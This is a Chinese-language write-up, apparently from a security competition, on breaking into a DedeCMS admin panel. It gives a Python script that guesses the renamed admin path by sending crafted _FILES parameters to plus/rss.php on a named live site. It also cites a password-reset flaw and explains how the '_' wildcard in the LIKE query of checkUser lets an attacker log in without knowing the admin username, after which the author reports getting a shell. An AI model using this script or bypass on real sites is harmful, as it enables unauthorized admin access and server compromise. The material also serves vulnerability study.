Dedecms 猜後臺管理員賬號的一個小技巧
巔峰極客裡遇到的一個案例(yx-tv.com)。 以下全為玉林嘎指導。
案例為,windows下的dedecms 好像是2017版本, 開啟了會員中心,修改了後臺的路徑,
然後用之前windows下dedecms找後臺路徑的方法, 發現tags.php被刪除了,
但是plus/rss.php檔案存在, 然後用這方法就成功的找到了後臺。
import requests import sys payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-' menu = '' for k in range(10): for payload in payloads: data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload) res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"}) if res.content.decode("utf-8").find("Error") > -1: menu += payload break if payload == '-': print(menu) sys.exit() print(menu)
然後猜了下後臺的管理員賬戶, 沒猜到, admin直接提示賬戶不存在。
然後再利用之前的重置管理員密碼的漏洞。
ofollow,noindex">https://xz.aliyun.com/t/1959
成功重置了管理員的密碼, 但是修改cookie登入後, 發現顯示的管理員賬號是admin, 但是之前在登入後臺的時候試了下admin, 是直接提示的賬戶不存在。
(好像是顯示的是uname, 但是最終登入是看的userid)
後面發現在dede/login.php中
$res = $cuserLogin->checkUser($userid,$pwd);
/** *檢驗使用者是否正確 * * @accesspublic * @paramstring$username使用者名稱 * @paramstring$userpwd密碼 * @returnstring */ function checkUser($username, $userpwd) { global $dsql; //只允許使用者名稱和密碼用0-9,a-z,A-Z,'@','_','.','-'這些字元 $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username); $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd); $pwd = substr(md5($this->userPwd), 5, 20); $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1"); $dsql->Execute(); $row = $dsql->GetObject(); if(!isset($row->pwd)) { return -1; } else if($pwd!=$row->pwd) { return -2; } else { $loginip = GetIP(); $this->userID = $row->id; $this->userType = $row->usertype; $this->userChannel = $row->typeid; $this->userName = $row->uname; $this->userPurview = $row->purviews; $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'"; $dsql->ExecuteNoneQuery($inquery); $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id; $dsql->ExecuteNoneQuery($sql); return 1; } }
先通過使用者輸入的使用者名稱查詢出密碼, 如果有記錄的話, 就比對密碼。
但是在這裡 根據使用者名稱查詢密碼的時候
WHERE admin.userid LIKE '".$this->userName."
竟然是用的like。
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
雖然在前面有把一些使用者名稱不允許的字元給替換為空了, 想直接用%這種匹配任意數量字元的模糊查詢出資料就不行了。
但是可以看到這個過濾沒有把_替換為空。
With LIKE you can use the following two wildcard characters in the pattern: % matches any number of characters, even zero characters. _ matches exactly one character.
在mysql中的模糊查詢中, _也代表著匹配一個任意字元。
所以在不知道管理員的使用者名稱的情況下, 只要去用_跑一下, 當_的位數和管理員賬戶的位數相同時即可登入成功了。
巔峰極客的是4位數, 然後用之前修改管理員密碼的洞修改的密碼, 就成功登入了後臺, 然後後臺getshell, 就搞定了。